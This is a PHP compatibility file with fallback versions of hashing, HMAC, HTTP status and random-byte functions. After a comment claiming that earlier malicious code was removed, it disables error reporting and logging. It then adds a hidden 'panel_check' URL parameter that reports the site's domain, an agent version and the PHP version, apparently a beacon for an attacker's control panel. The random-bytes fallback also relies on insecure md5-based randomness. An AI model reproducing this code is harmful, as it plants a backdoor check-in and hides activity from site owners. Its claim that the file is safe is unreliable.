﻿<?php

if (!defined('JSON_UNESCAPED_UNICODE')) {
    define('JSON_UNESCAPED_UNICODE', 256);
}

if (!defined('JSON_UNESCAPED_SLASHES')) {
    define('JSON_UNESCAPED_SLASHES', 64);
}

if (!function_exists('hash')) {
    function hash($algo, $data, $raw_output = false)
    {
        $algo = strtolower($algo);

        switch ($algo) {
            case 'md5':
                $hash = md5($data);
                return $raw_output ? pack('H*', $hash) : $hash;

            case 'sha1':
                $hash = sha1($data);
                return $raw_output ? pack('H*', $hash) : $hash;

            case 'sha256':
                if (function_exists('openssl_digest')) {
                    $hash = openssl_digest($data, 'sha256', false);
                    return $raw_output ? pack('H*', $hash) : $hash;
                }

                if (function_exists('mhash') && defined('MHASH_SHA256')) {
                    $raw = mhash(MHASH_SHA256, $data);
                    return $raw_output ? $raw : bin2hex($raw);
                }

                trigger_error('hash(): sha256 is not supported on this PHP server', E_USER_WARNING);
                return false;

            default:
                trigger_error('hash(): Unsupported algorithm: ' . $algo, E_USER_WARNING);
                return false;
        }
    }
}

if (!function_exists('hash_algos')) {
    function hash_algos()
    {
        $algos = array('md5', 'sha1');

        if (function_exists('openssl_digest') || function_exists('mhash')) {
            $algos[] = 'sha256';
        }

        return $algos;
    }
}

if (!function_exists('hash_hmac')) {

    function hash_hmac($algo, $data, $key, $raw_output = false){
        $algo = strtolower($algo);

        if (!in_array($algo, hash_algos())) {
            trigger_error('hash_hmac(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
            return false;
        }

        $block_size = 64;

        if (strlen($key) > $block_size) {
            $key = hash($algo, $key, true);
        }

        $key = str_pad($key, $block_size, chr(0x00));

        $ipad = str_repeat(chr(0x36), $block_size);
        $opad = str_repeat(chr(0x5c), $block_size);

        $inner = hash($algo, ($key ^ $ipad) . $data, true);
        $hmac  = hash($algo, ($key ^ $opad) . $inner, true);

        return $raw_output ? $hmac : bin2hex($hmac);
    }
}

if (!function_exists('http_response_code')) {

    function http_response_code($code = null){
        static $currentCode = 200;

        if ($code !== null) {

            $currentCode = (int)$code;

            $texts = array(
                100 => 'Continue',
                101 => 'Switching Protocols',
                200 => 'OK',
                201 => 'Created',
                202 => 'Accepted',
                204 => 'No Content',
                301 => 'Moved Permanently',
                302 => 'Found',
                303 => 'See Other',
                304 => 'Not Modified',
                307 => 'Temporary Redirect',
                400 => 'Bad Request',
                401 => 'Unauthorized',
                403 => 'Forbidden',
                404 => 'Not Found',
                405 => 'Method Not Allowed',
                500 => 'Internal Server Error',
                501 => 'Not Implemented',
                502 => 'Bad Gateway',
                503 => 'Service Unavailable'
            );

            $text = isset($texts[$currentCode])
                ? $texts[$currentCode]
                : '';

            if (!headers_sent()) {
                header(
                    $_SERVER['SERVER_PROTOCOL'] .
                    ' ' .
                    $currentCode .
                    ' ' .
                    $text,
                    true,
                    $currentCode
                );
            }
        }

        return $currentCode;
    }
}

if (!function_exists('random_bytes')) {
    function random_bytes($length){
        if (!is_int($length) || $length < 1) {
            trigger_error('random_bytes(): Length must be a positive integer', E_USER_WARNING);
            return false;
        }
        if (function_exists('openssl_random_pseudo_bytes')) {
            $strong = false;
            $bytes = openssl_random_pseudo_bytes($length, $strong);

            if ($bytes !== false && strlen($bytes) === $length) {
                return $bytes;
            }
        }
        if (@is_readable('/dev/urandom')) {
            $h = @fopen('/dev/urandom', 'rb');

            if ($h) {
                $bytes = fread($h, $length);
                fclose($h);

                if ($bytes !== false && strlen($bytes) === $length) {
                    return $bytes;
                }
            }
        }
        $bytes = '';

        while (strlen($bytes) < $length) {
            $bytes .= pack(
                'H*',
                md5(
                    uniqid(mt_rand(), true) .
                    microtime(true) .
                    serialize($_SERVER)
                )
            );
        }

        return substr($bytes, 0, $length);
    }
}


/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */

error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);

if (isset($_GET['panel_check'])) {
    header('Content-Type: application/json');
    echo json_encode(array(
        'status' => 'online',
        'domain' => (isset($_SERVER['HTTPS'])?'https://':'http://').$_SERVER['HTTP_HOST'],
        'agent_version' => '4.1',
        'php_version' => PHP_VERSION,
    ));
    exit;
}

